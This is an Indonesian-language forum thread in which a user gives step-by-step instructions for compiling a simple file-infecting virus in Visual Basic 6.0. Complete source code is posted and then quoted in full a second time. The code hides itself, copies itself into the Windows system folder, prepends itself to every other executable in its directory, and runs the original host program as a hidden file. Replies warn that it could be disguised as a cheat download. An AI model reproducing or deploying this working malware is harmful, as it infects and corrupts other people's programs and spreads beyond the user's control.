Cara membuat Virus Pake Visual BAsic 6.0

1.Buka MS visual basic 6.0
2.Pilih standard EXE
Gambar :http://2.bp.blogspot.com/-haNM6PI5MBE/Td4pG2fZaEI/AAAAAAAAADM/W5Dmm_kbEL4/s320/aadasfdsa.JPG
3.Lalu klik View Code yang ada digambar ^atas ^ .
4.lalu masukkan code Ini:'------------------------------------------------------
' M4R : Model 1
' Virus file sederhana
'-----------------------------------------------------

Option Explicit

Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long


Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub


Sub main()
On Error Resume Next

Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder


Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)

FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free

ChDrive App.Path
ChDir App.Path

victim = Dir(App.Path & "\" & "*.EXE")

While victim <> ""
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then

Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free


Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free

If LCase(chck) <> "." Then


Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free

End If

Else
End If

victim = Dir()

Wend


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
Length = (LOF(Free) - Size)

If Length > 0 Then

myarray = Space(Length)
Get #Free, Size, myarray
Close #Free

Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
Put #Free, , myarray
Close #Free

SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem

idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Kill App.Path & "\" & App.EXEName & ".dll"

Else
Close #Free
End If

End
End Sub
5.setelah itu klik file -> MakeProject.Exe-> taruh difile yang tidak ada data lainnya misalnya di newfolder yang kosong agar kalau dijalankan tidak menyebar cepat.
nah Itu lah cara membuat virus sederhana mohon jangan digunakan untuk kejahatan,saya membuat ini 6.agar anda mengetahui bagaimana struktur virus yang sebenarnya.(^_^).ingat jangan digunakan untuk keusilan karena belum ada antivirnya

agai132 wrote:

1.Buka MS visual basic 6.0
2.Pilih standard EXE
Gambar :http://2.bp.blogspot.com/-haNM6PI5MBE/Td4pG2fZaEI/AAAAAAAAADM/W5Dmm_kbEL4/s320/aadasfdsa.JPG
3.Lalu klik View Code yang ada digambar ^atas ^ .
4.lalu masukkan code Ini:'------------------------------------------------------
' M4R : Model 1
' Virus file sederhana
'-----------------------------------------------------

Option Explicit

Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long


Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub


Sub main()
On Error Resume Next

Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder


Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)

FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free

ChDrive App.Path
ChDir App.Path

victim = Dir(App.Path & "\" & "*.EXE")

While victim <> ""
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then

Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free


Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free

If LCase(chck) <> "." Then


Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free

End If

Else
End If

victim = Dir()

Wend


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
Length = (LOF(Free) - Size)

If Length > 0 Then

myarray = Space(Length)
Get #Free, Size, myarray
Close #Free

Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
Put #Free, , myarray
Close #Free

SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem

idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Kill App.Path & "\" & App.EXEName & ".dll"

Else
Close #Free
End If

End
End Sub
5.setelah itu klik file -> MakeProject.Exe-> taruh difile yang tidak ada data lainnya misalnya di newfolder yang kosong agar kalau dijalankan tidak menyebar cepat.
nah Itu lah cara membuat virus sederhana mohon jangan digunakan untuk kejahatan,saya membuat ini 6.agar anda mengetahui bagaimana struktur virus yang sebenarnya.(^_^).ingat jangan digunakan untuk keusilan karena belum ada antivirnya

ih parah bgt..tar kalo ada yg jahil pake link download cheat misalnya pas di buka eh..virus..mending close aja threadnya bahaya om..tar orang cape format ulang+install ulang

Kan Ini Cuma Kiding

agai132 wrote:

Kan Ini Cuma Kiding

ow sorry salah paham gan....sekali lagi maaf

gan kalo mau gambarnya keluar gunakan ini [img][/img]
contohnya [You must be registered and logged in to see this image.]
maka akan keluar gambarnya jadi ini [You must be registered and logged in to see this image.]

gan type virusnya apa?terus kerusakan yng ditimbulkan juga apa?
maaf kalau banyak tanya soalnya ane